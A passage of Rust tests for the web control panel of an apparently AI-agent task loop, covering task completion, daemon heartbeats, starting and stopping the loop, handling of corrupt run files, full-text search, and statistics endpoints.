10096 assert_eq!(done.status, 200, "{}", done.body);
10097 assert_eq!(done.json()["status_str"], "done");
10098 assert!(
10099 done.json()["hold_reason"].is_null(),
10100 "a done task cannot still be waiting on something: {}",
10101 done.body
10102 );
10103 }
10104
10105 #[tokio::test]
10106 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10107 let f = Fixture::start().await;
10112 let queue = f.queue();
10113 let runs = f.runs();
10114 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10115 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10119
10120 let mut task = Task::new(
10121 "landed by hand".to_owned(),
10122 "x".to_owned(),
10123 PathBuf::from("/repo/magi"),
10124 Source::Human,
10125 );
10126 task.runs.push("20260101-000000-doa1".to_owned());
10127 task.runs.push("20260101-000000-doa2".to_owned());
10128 queue.put(&mut task).expect("file the task");
10129
10130 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10131 assert_eq!(done.status, 200, "{}", done.body);
10132
10133 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10134 .expect("run still on disk under this fixture's own home");
10135 assert_eq!(
10136 reloaded_run.status,
10137 RunStatus::Superseded,
10138 "closing the task by hand must relabel the earlier blocked attempt exactly \
10139 like the loop's own settle path does"
10140 );
10141 }
10142
10143 #[tokio::test]
10144 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10145 let f = Fixture::start().await;
10150 let queue = f.queue();
10151 let runs = f.runs();
10152 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10153 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10154
10155 let mut task = Task::new(
10156 "closed with nothing actually landed".to_owned(),
10157 "x".to_owned(),
10158 PathBuf::from("/repo/magi"),
10159 Source::Human,
10160 );
10161 task.runs.push("20260101-000000-dob1".to_owned());
10162 task.runs.push("20260101-000000-dob2".to_owned());
10163 queue.put(&mut task).expect("file the task");
10164
10165 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10166 assert_eq!(done.status, 200, "{}", done.body);
10167
10168 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10169 .expect("run still on disk under this fixture's own home");
10170 assert_eq!(
10171 reloaded_run.status,
10172 RunStatus::Blocked,
10173 "the last recorded attempt never landed, so the earlier one must not be \
10174 relabelled as superseded by it"
10175 );
10176 }
10177
10178 #[tokio::test]
10179 async fn unknown_ids_are_json_not_found_on_both_stores() {
10180 let f = Fixture::start().await;
10181
10182 let run = f.get("/api/runs/nosuchrun").await;
10183 let task = f.post("/api/queue/nosuchtask/hold", None).await;
10184
10185 assert_eq!(run.status, 404);
10186 assert_eq!(task.status, 404);
10187 assert!(
10188 run.json()["error"]
10189 .as_str()
10190 .is_some_and(|e| e.contains("run")),
10191 "the error names what was not found: {}",
10192 run.body
10193 );
10194 assert!(
10195 task.json()["error"]
10196 .as_str()
10197 .is_some_and(|e| e.contains("task")),
10198 "the error names what was not found: {}",
10199 task.body
10200 );
10201 }
10202
10203 #[tokio::test]
10204 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10205 let f = Fixture::start().await;
10206
10207 let missing = f.get("/api/health").await.json();
10208 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10209
10210 write_daemon(
10211 f.home.path(),
10212 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10213 );
10214 let stale = f.get("/api/health").await.json();
10215 assert_eq!(
10216 stale["daemon"]["running"], false,
10217 "a minute without a heartbeat is a dead daemon, not a busy one"
10218 );
10219 assert!(
10220 stale["daemon"]["stale_for_secs"]
10221 .as_i64()
10222 .is_some_and(|s| s >= 55),
10223 "staleness is reported so the UI can say how long: {stale}"
10224 );
10225
10226 write_daemon(f.home.path(), Timestamp::now());
10227 let fresh = f.get("/api/health").await.json();
10228 assert_eq!(fresh["daemon"]["running"], true);
10229 assert_eq!(fresh["daemon"]["idle"], false);
10230 assert_eq!(fresh["daemon"]["pid"], 4242);
10231 assert_eq!(fresh["daemon"]["completed"], 7);
10232 assert_eq!(
10233 fresh["daemon"]["current"][0]["task"],
10234 "20260902-140501-aaaa"
10235 );
10236 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10237 }
10238
10239 #[tokio::test]
10240 async fn the_loop_is_not_running_until_something_starts_it() {
10241 let f = Fixture::start().await;
10242
10243 let view = f.get("/api/loop").await.json();
10244 assert_eq!(view["running"], false);
10245 assert_eq!(
10246 view["owned"], false,
10247 "nobody owns a loop that does not exist: {view}"
10248 );
10249 assert_eq!(view["stopping"], false);
10250 assert_eq!(view["last_error"], Value::Null);
10251 assert_eq!(view["daemon"]["running"], false);
10252 assert_eq!(
10253 view["repo"], "/repo/magi",
10254 "the repository a start would use, named before it is started"
10255 );
10256 }
10257
10258 #[tokio::test]
10259 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10260 let f = Fixture::start().await;
10261
10262 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10263 assert_eq!(res.status, 200, "{}", res.body);
10264 let view = res.json();
10265 assert_eq!(view["running"], true);
10266 assert_eq!(
10267 view["owned"], true,
10268 "the loop the UI started is the UI's own to stop: {view}"
10269 );
10270 assert_eq!(
10271 view["merge"],
10272 Value::Null,
10273 "no override was given, so each repository's own config decides"
10274 );
10275
10276 let health = f.get("/api/health").await.json();
10280 assert_eq!(health["loop"]["running"], true, "{health}");
10281 assert_eq!(health["loop"]["owned"], true, "{health}");
10282
10283 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10284 }
10285
10286 #[tokio::test]
10287 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10288 let f = Fixture::start().await;
10289 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10290 assert_eq!(first.status, 200, "{}", first.body);
10291
10292 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10293 assert_eq!(
10294 again.status, 409,
10295 "two loops on one queue race for the same claims: {}",
10296 again.body
10297 );
10298 assert!(
10299 again.json()["error"]
10300 .as_str()
10301 .is_some_and(|e| e.contains("already running the loop")),
10302 "the refusal has to say why: {}",
10303 again.body
10304 );
10305 assert_eq!(
10306 f.get("/api/loop").await.json()["running"],
10307 true,
10308 "and the loop that was already running is untouched by it"
10309 );
10310
10311 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10312 }
10313
10314 #[tokio::test]
10315 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
10316 let f = Fixture::start().await;
10317 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10318
10319 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10320 assert_eq!(
10321 res.status, 200,
10322 "the answer must not wait for the loop: a run in flight is tens of \
10323 minutes and the operator is holding a phone: {}",
10324 res.body
10325 );
10326
10327 let view = settled(&f, |v| v["running"] == false).await;
10328 assert_eq!(view["owned"], false);
10329 assert_eq!(
10330 view["stopping"], false,
10331 "a loop that has stopped is not still stopping: {view}"
10332 );
10333 assert_eq!(
10334 view["last_error"],
10335 Value::Null,
10336 "a loop that was asked to stop did not fail: {view}"
10337 );
10338
10339 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10342 assert_eq!(twice.status, 200, "{}", twice.body);
10343 }
10344
10345 #[tokio::test]
10346 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
10347 let f = Fixture::start().await;
10348 write_daemon(f.home.path(), Timestamp::now());
10351
10352 let view = f.get("/api/loop").await.json();
10353 assert_eq!(view["running"], false, "not in this process: {view}");
10354 assert_eq!(view["owned"], false, "and not this process's to control");
10355 assert_eq!(
10356 view["daemon"]["running"], true,
10357 "but a loop is alive somewhere, which is what the UI must say"
10358 );
10359 assert_eq!(view["daemon"]["pid"], 4242);
10360
10361 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10362 let res = f.post("/api/loop", Some(body)).await;
10363 assert_eq!(
10364 res.status, 409,
10365 "neither button may pretend to work on someone else's loop: {}",
10366 res.body
10367 );
10368 assert!(
10369 res.json()["error"]
10370 .as_str()
10371 .is_some_and(|e| e.contains("4242")),
10372 "the refusal has to name the process the operator must go to: {}",
10373 res.body
10374 );
10375 }
10376 assert_eq!(
10377 f.get("/api/loop").await.json()["running"],
10378 false,
10379 "and the refusal started nothing"
10380 );
10381 }
10382
10383 #[tokio::test]
10384 async fn a_stale_status_file_is_not_a_foreign_owner() {
10385 let f = Fixture::start().await;
10386 write_daemon(
10387 f.home.path(),
10388 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10389 );
10390
10391 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10392 assert_eq!(
10393 res.status, 200,
10394 "a daemon killed a minute ago must not lock the loop out of its \
10395 own home for good: {}",
10396 res.body
10397 );
10398 assert_eq!(res.json()["running"], true);
10399
10400 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10401 }
10402
10403 #[tokio::test]
10404 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10405 let f = Fixture::start().await;
10406 let before = f.get("/api/health").await.json()["loop_rev"]
10407 .as_u64()
10408 .expect("a loop revision");
10409
10410 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10411
10412 let after = f.get("/api/health").await.json()["loop_rev"]
10413 .as_u64()
10414 .expect("a loop revision");
10415 assert!(
10416 after > before,
10417 "the loop is in-process state, so this counter is the only thing \
10418 that tells a second device the first one started it: {before} -> \
10419 {after}"
10420 );
10421
10422 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10423 }
10424
10425 #[tokio::test]
10426 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10427 let f = Fixture::with_loop(launch_broken).await;
10428
10429 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10430 assert_eq!(
10431 res.status, 200,
10432 "starting it is not the failure: {}",
10433 res.body
10434 );
10435
10436 let view = settled(&f, |v| v["last_error"].is_string()).await;
10437 assert_eq!(
10438 view["running"], false,
10439 "a loop that died must not read as running, or the operator has \
10440 nothing to press: {view}"
10441 );
10442 assert_eq!(view["owned"], false);
10443 assert!(
10444 view["last_error"]
10445 .as_str()
10446 .is_some_and(|e| e.contains("read-only file system")),
10447 "the phone is where a loop that died at 3am is visible: {view}"
10448 );
10449
10450 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10453 assert_eq!(again.status, 200, "{}", again.body);
10454 assert_eq!(
10455 again.json()["last_error"],
10456 Value::Null,
10457 "a fresh start does not keep showing why the last one died"
10458 );
10459 }
10460
10461 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10473 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10474 let home = TempDir::new().expect("temp home");
10475 let runs = home.path().join("runs");
10476 std::fs::create_dir_all(&runs).expect("runs dir");
10477 let ui = Ui::new(
10478 Queue::at(home.path().join("queue")),
10479 Questions::at(home.path().join("questions")),
10480 Talks::at(home.path().join("talks")),
10481 runs,
10482 home.path().to_path_buf(),
10483 PathBuf::from("/repo/magi"),
10484 )
10485 .with_worktrees_root(home.path().join("wt"))
10486 .with_launch(launch_knocking_on_the_way_out);
10487 let looping = ui.looping();
10488 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10489 .await
10490 .expect("bind loopback");
10491 let addr = listener.local_addr().expect("local addr");
10492 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10493 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10494
10495 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10496 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10497
10498 let bound = std::sync::Mutex::new(None);
10513 hand_over(home.path(), &looping, served, |_| {
10514 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
10515 let attempt = loop {
10516 match std::net::TcpListener::bind(addr) {
10517 Ok(l) => {
10518 drop(l);
10519 break Ok(());
10520 }
10521 Err(e)
10522 if e.kind() == std::io::ErrorKind::AddrInUse
10523 && std::time::Instant::now() < deadline =>
10524 {
10525 std::thread::sleep(std::time::Duration::from_millis(10));
10526 }
10527 Err(e) => break Err(e.to_string()),
10528 }
10529 };
10530 *bound.lock().expect("bound") = Some(attempt);
10531 Ok(1)
10532 })
10533 .await
10534 .expect("hand over");
10535
10536 assert_eq!(
10537 *PARK_HEARD.lock().expect("park heard"),
10538 Some(200),
10539 "the deck must answer while the loop is parking"
10540 );
10541 let attempt = bound
10542 .lock()
10543 .expect("bound")
10544 .take()
10545 .expect("the successor was started");
10546 assert!(
10547 attempt.is_ok(),
10548 "and the address must be free by the time it is: {attempt:?}"
10549 );
10550 }
10551
10552 #[tokio::test]
10553 async fn a_newer_daemon_status_file_still_renders() {
10554 let f = Fixture::start().await;
10555 std::fs::write(
10558 f.home.path().join("daemon.json"),
10559 serde_json::json!({
10560 "schema": 2,
10561 "updated_at": Timestamp::now().to_string(),
10562 "idle": true,
10563 "surprise": { "nested": [1, 2, 3] },
10564 })
10565 .to_string(),
10566 )
10567 .expect("write daemon.json");
10568
10569 let health = f.get("/api/health").await;
10570
10571 assert_eq!(health.status, 200);
10572 assert_eq!(health.json()["daemon"]["running"], true);
10573 }
10574
10575 #[tokio::test]
10576 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10577 let f = Fixture::start().await;
10578 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10579 let broken = f.runs().join("20260902-140502-bad");
10580 std::fs::create_dir_all(&broken).expect("run dir");
10581 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10582
10583 let list = f.get("/api/runs").await;
10584 let detail = f.get("/api/runs/20260902-140502-bad").await;
10585
10586 assert_eq!(list.status, 200);
10587 let listed = list.json();
10588 let ids: Vec<&str> = listed
10589 .as_array()
10590 .expect("an array")
10591 .iter()
10592 .map(|r| r["id"].as_str().expect("an id"))
10593 .collect();
10594 assert_eq!(
10595 ids,
10596 vec!["20260902-140501-good"],
10597 "one unreadable run must not cost the operator the whole history"
10598 );
10599 assert_eq!(detail.status, 500);
10600 assert!(
10601 detail.json()["error"]
10602 .as_str()
10603 .is_some_and(|e| e.contains("run.json")),
10604 "the failure names the file to look at: {}",
10605 detail.body
10606 );
10607 let health = f.get("/api/health").await;
10611 assert_eq!(health.json()["runs_unreadable"], 1);
10612 }
10613
10614 #[tokio::test]
10616 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10617 let f = Fixture::start().await;
10618 let runs = f.runs();
10619 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10620 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10621 let path = runs.join("20260902-140502-bbbb").join("run.json");
10624 let mut v: serde_json::Value =
10625 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10626 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10627 std::fs::write(&path, v.to_string()).unwrap();
10628 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
10629 std::fs::write(
10630 runs.join("20260902-140503-cccc").join("run.json"),
10631 "{ not json",
10632 )
10633 .unwrap();
10634
10635 let res = f.get("/api/search?scope=runs&q=quokka").await;
10636 assert_eq!(res.status, 200, "{}", res.body);
10637 let v = res.json();
10638 assert_eq!(v["total"], 1, "{v}");
10639 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
10640 assert_eq!(v["hits"][0]["field"], "text");
10641 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
10642 let parts = v["hits"][0]["snippet"].as_array().unwrap();
10643 assert!(
10644 parts
10645 .iter()
10646 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
10647 "{v}"
10648 );
10649 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
10650 assert_eq!(
10651 flat, "The Quokka leaks across threads",
10652 "whitespace is collapsed"
10653 );
10654
10655 let both = f
10657 .get("/api/search?scope=runs&q=MOBILE%20quokka")
10658 .await
10659 .json();
10660 assert_eq!(both["total"], 1, "{both}");
10661 let neither = f
10662 .get("/api/search?scope=runs&q=quokka%20zebra")
10663 .await
10664 .json();
10665 assert_eq!(neither["total"], 0, "{neither}");
10666 let stmt = f
10668 .get("/api/search?scope=runs&q=mobile%20first")
10669 .await
10670 .json();
10671 assert_eq!(stmt["total"], 2, "{stmt}");
10672 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10673 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10674 }
10675
10676 #[test]
10677 fn snippet_ignores_terms_longer_than_the_field() {
10678 let terms = ["ok".to_owned(), "elephant".to_owned()];
10679 let parts = snippet_of("ok", &terms);
10680 assert_eq!(
10681 parts,
10682 vec![SnippetPart {
10683 text: "ok".to_owned(),
10684 hit: true
10685 }]
10686 );
10687 }
10688
10689 #[test]
10690 fn snippet_marks_matches_longer_than_the_window() {
10691 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10692 let hit_len = |parts: &[SnippetPart]| -> usize {
10693 parts
10694 .iter()
10695 .filter(|p| p.hit)
10696 .map(|p| p.text.chars().count())
10697 .sum()
10698 };
10699 let total =
10700 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10701
10702 let long = "a".repeat(120);
10703 let parts = snippet_of(&long, std::slice::from_ref(&long));
10704 assert!(hit_len(&parts) > 0, "{parts:?}");
10705 assert!(total(&parts) <= cap);
10706
10707 let ja = "あ".repeat(130);
10708 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10709 assert!(hit_len(&parts) > 0, "{parts:?}");
10710 assert!(total(&parts) <= cap);
10711
10712 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10714 let term = format!("ab{}", "c".repeat(100));
10715 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10716 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10717 assert!(total(&parts) <= cap);
10718
10719 let text = format!("{}z", "a".repeat(119));
10721 let parts = snippet_of(&text, &["a".repeat(120)]);
10722 assert_eq!(hit_len(&parts), 0, "{parts:?}");
10723 }
10724
10725 #[tokio::test]
10726 async fn search_caps_hits_and_snippet_length() {
10727 let f = Fixture::start().await;
10728 let runs = f.runs();
10729 for n in 0..(SEARCH_MAX_HITS + 5) {
10730 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10731 }
10732 let v = f.get("/api/search?scope=runs&q=web").await.json();
10733 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10734 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10735 assert_eq!(v["truncated"], true);
10736 assert!(
10738 v["hits"]
10739 .as_array()
10740 .unwrap()
10741 .iter()
10742 .all(|h| h["run"]["status"] == "merged")
10743 );
10744
10745 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10746 let parts = snippet_of(&long, &["needle".to_owned()]);
10747 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10748 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10749 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10750 }
10751
10752 #[tokio::test]
10753 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10754 let f = Fixture::start().await;
10755 let queue = f.queue();
10756 let mut t = Task::new(
10757 "short title".to_owned(),
10758 "line one\nthe hidden Armadillo detail".to_owned(),
10759 PathBuf::from("/repo/magi"),
10760 Source::Agent {
10761 run: "r1".to_owned(),
10762 node: "chat".to_owned(),
10763 },
10764 );
10765 t.last_error = Some("disk full on /tmp".to_owned());
10766 queue.put(&mut t).expect("file the task");
10767
10768 for (q, want) in [
10769 ("armadillo", 1),
10770 ("disk%20FULL", 1),
10771 ("chat", 1),
10772 ("queued", 1),
10773 ("short%20nothing", 0),
10774 ] {
10775 let v = f
10776 .get(&format!("/api/search?scope=tasks&q={q}"))
10777 .await
10778 .json();
10779 assert_eq!(v["total"], want, "{q}: {v}");
10780 }
10781 for bad in [
10782 "/api/search?scope=tasks&q=",
10783 "/api/search?scope=tasks&q=%20",
10784 "/api/search?scope=chats&q=",
10785 "/api/search?scope=chats&q=%20",
10786 "/api/search?scope=nope&q=a",
10787 "/api/search?q=a",
10788 ] {
10789 assert_eq!(f.get(bad).await.status, 400, "{bad}");
10790 }
10791 }
10792
10793 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10795 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10796 .expect("seat value");
10797 let turns: Vec<serde_json::Value> = turns
10798 .iter()
10799 .map(|(who, body)| {
10800 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10801 })
10802 .collect();
10803 let doc = serde_json::json!({
10804 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10805 "status": status, "turns": turns,
10806 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10807 "seat": seat,
10808 });
10809 let dir = f.home.path().join("talks");
10810 std::fs::create_dir_all(&dir).expect("talks dir");
10811 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10812 }
10813
10814 #[tokio::test]
10815 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10816 let f = Fixture::start().await;
10817 write_talk(
10818 &f,
10819 "20260901-000001-aaaa",
10820 "open",
10821 &[
10822 (
10823 "operator",
10824 "\n Why does the Pangolin cache expire?\nsecond line",
10825 ),
10826 ("agent", "Because the TTL is thirty seconds."),
10827 ],
10828 );
10829 write_talk(
10830 &f,
10831 "20260901-000002-bbbb",
10832 "closed",
10833 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10834 );
10835 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10836
10837 let search = |q: &'static str| {
10838 let f = &f;
10839 async move {
10840 f.get(&format!("/api/search?scope=chats&q={q}"))
10841 .await
10842 .json()
10843 }
10844 };
10845
10846 let v = search("PANGOLIN").await;
10847 assert_eq!(v["scope"], "chats");
10848 assert_eq!(v["total"], 1, "{v}");
10849 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10850 assert_eq!(v["hits"][0]["field"], "title");
10851 assert_eq!(v["unreadable"], 1, "{v}");
10852 let marked: Vec<&str> = v["hits"][0]["snippet"]
10853 .as_array()
10854 .unwrap()
10855 .iter()
10856 .filter(|p| p["hit"] == true)
10857 .map(|p| p["text"].as_str().unwrap())
10858 .collect();
10859 assert_eq!(marked, ["Pangolin"]);
10860
10861 let v = search("zebra").await;
10863 assert_eq!(v["total"], 1, "{v}");
10864 assert_eq!(v["hits"][0]["field"], "agent");
10865 assert_eq!(search("pangolin%20thirty").await["total"], 1);
10867 assert_eq!(search("pangolin%20zebra").await["total"], 0);
10868 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10870 assert_eq!(search(q).await["total"], 0, "{q}");
10871 }
10872 assert_eq!(search("second").await["hits"][0]["field"], "operator");
10874 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10876
10877 let v = f.get("/api/search?scope=nope&q=a").await;
10878 assert_eq!(v.status, 400);
10879 assert!(
10880 v.body.contains("scope must be runs, tasks or chats"),
10881 "{}",
10882 v.body
10883 );
10884 }
10885
10886 #[test]
10887 fn a_question_card_links_a_task_id_to_the_task_page() {
10888 let start = APP_JS
10889 .find("function updateAskCard(")
10890 .expect("updateAskCard exists");
10891 let body = &APP_JS[start..];
10892 let body = &body[..body.find("\n}\n").expect("function end")];
10893 assert!(body.contains("question.run_is_task"));
10894 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
10895 assert!(body.contains("`#/runs/${question.run}`"));
10896 assert!(body.contains("\"task\" : \"run\""));
10897 }
10898
10899 #[test]
10900 fn stats_bars_share_one_id_keyed_plan() {
10901 let start = APP_JS
10902 .find("function statsBarRows(")
10903 .expect("statsBarRows exists");
10904 let body = &APP_JS[start..];
10905 let body = &body[..body.find("\n}\n").expect("function end")];
10906 assert!(body.contains("statsBarPlan(rows)"));
10907 assert!(body.contains("statsAgentTone(row.agent)"));
10908 assert!(!body.contains("candTone(i)"));
10909 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
10910 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
10911 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
10912 }
10913 }
10914
10915 #[test]
10916 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
10917 let start = APP_JS
10918 .find("function renderStatsReviewerScatter(")
10919 .expect("renderStatsReviewerScatter exists");
10920 let body = &APP_JS[start..];
10921 let body = &body[..body.find("\n}\n").expect("function end")];
10922 assert!(body.contains("statsScatterPlan(reviewers)"));
10923 assert!(body.contains("statsAgentTone(d.agent)"));
10924 assert!(APP_JS.contains("function statsScatterPlan("));
10925 assert!(
10926 APP_JS.contains("d.submitted < STATS_LOW_N")
10927 || APP_JS.contains("r.submitted < STATS_LOW_N")
10928 );
10929 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
10930 assert!(APP_CSS.contains(".precision-scatter"));
10931 }
10932
10933 #[test]
10934 fn advisor_reflection_is_drawn_as_stacked_segments() {
10935 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
10936 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
10937 let html = include_str!("../assets/ui/index.html");
10938 assert!(html.contains("Approximate"));
10939 for label in ["reflected strongly", "faint", "no proposal"] {
10940 assert!(html.contains(label));
10941 }
10942 let css = include_str!("../assets/ui/app.css");
10943 for c in ["refl-strong", "refl-faint", "refl-absent"] {
10944 assert!(css.contains(&format!(".{c} {{")));
10945 }
10946 }
10947
10948 #[test]
10949 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
10950 assert!(APP_JS.contains("function statsDailyPlan("));
10951 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
10952 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
10953 }
10954
10955 #[test]
10956 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
10957 let start = APP_JS
10958 .find("function scheduleSearch(")
10959 .expect("scheduleSearch exists");
10960 let body = &APP_JS[start..];
10961 let body = &body[..body.find("\n}\n").expect("function end")];
10962 assert!(body.contains("s.seq += 1"));
10963 }
10964
10965 #[tokio::test]
10970 async fn stats_runs_unreadable_matches_health() {
10971 let f = Fixture::start().await;
10972 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10973 let broken = f.runs().join("20260902-140502-bad");
10974 std::fs::create_dir_all(&broken).expect("run dir");
10975 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10976
10977 let stats = f.get("/api/stats").await;
10978 let health = f.get("/api/health").await;
10979
10980 assert_eq!(stats.status, 200);
10981 assert_eq!(stats.json()["totals"]["runs"], 1);
10982 assert_eq!(stats.json()["runs_unreadable"], 1);
10983 assert_eq!(
10984 stats.json()["runs_unreadable"],
10985 health.json()["runs_unreadable"],
10986 "the dashboard and /api/health must never disagree about how many \
10987 runs could not be read"
10988 );
10989 }
10990
10991 #[tokio::test]
10992 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
10993 let f = Fixture::start().await;
10994 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10995 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
10996 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
10997
10998 let totals = &f.get("/api/stats").await.json()["totals"];
10999 assert_eq!(totals["runs"], 3);
11000 assert_eq!(totals["merged"], 1);
11001 assert_eq!(totals["stalled"], 1);
11002 assert_eq!(totals["in_progress"], 1);
11003 assert_eq!(totals["blocked"], 0);
11006 assert_eq!(totals["ready"], 0);
11007 }
11008
11009 #[tokio::test]
11010 async fn stats_advisors_report_proposals_and_reflection() {
11011 use crate::advise::{Advice, AdvisorRecord, Reflection};
11012 use crate::verdict::Proposal;
11013
11014 let f = Fixture::start().await;
11015 let mut state = RunState::new(
11016 PathBuf::from("/repo/magi"),
11017 "main".to_owned(),
11018 "0123456789abcdef".to_owned(),
11019 "task".to_owned(),
11020 Config::default(),
11021 );
11022 state.id = "20260902-140501-a".to_owned();
11023 state.status = RunStatus::Merged;
11024 state.advice = Some(Advice {
11025 records: vec![
11026 AdvisorRecord {
11027 seat: "advisor-1".to_owned(),
11028 agent: "alpha".to_owned(),
11029 proposal: Some(Proposal {
11030 approach: "do it".to_owned(),
11031 key_tradeoff: "speed over memory".to_owned(),
11032 risks: Vec::new(),
11033 touches: Vec::new(),
11034 why_not_naive: "breaks under load".to_owned(),
11035 }),
11036 error: None,
11037 duration_ms: 0,
11038 reflection: Reflection::Strong,
11039 },
11040 AdvisorRecord {
11041 seat: "advisor-2".to_owned(),
11042 agent: "alpha".to_owned(),
11043 proposal: None,
11044 error: Some("timed out".to_owned()),
11045 duration_ms: 0,
11046 reflection: Reflection::Absent,
11047 },
11048 ],
11049 synthesis: Some("blended brief".to_owned()),
11050 });
11051 let dir = f.runs().join(&state.id);
11052 std::fs::create_dir_all(&dir).expect("run dir");
11053 std::fs::write(
11054 dir.join("run.json"),
11055 serde_json::to_string_pretty(&state).expect("serialize run"),
11056 )
11057 .expect("write run.json");
11058
11059 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
11060 let alpha = advisors
11061 .as_array()
11062 .expect("an array")
11063 .iter()
11064 .find(|a| a["agent"] == "alpha")
11065 .expect("alpha row");
11066 assert_eq!(alpha["seated"], 2);
11067 assert_eq!(alpha["proposed"], 1);
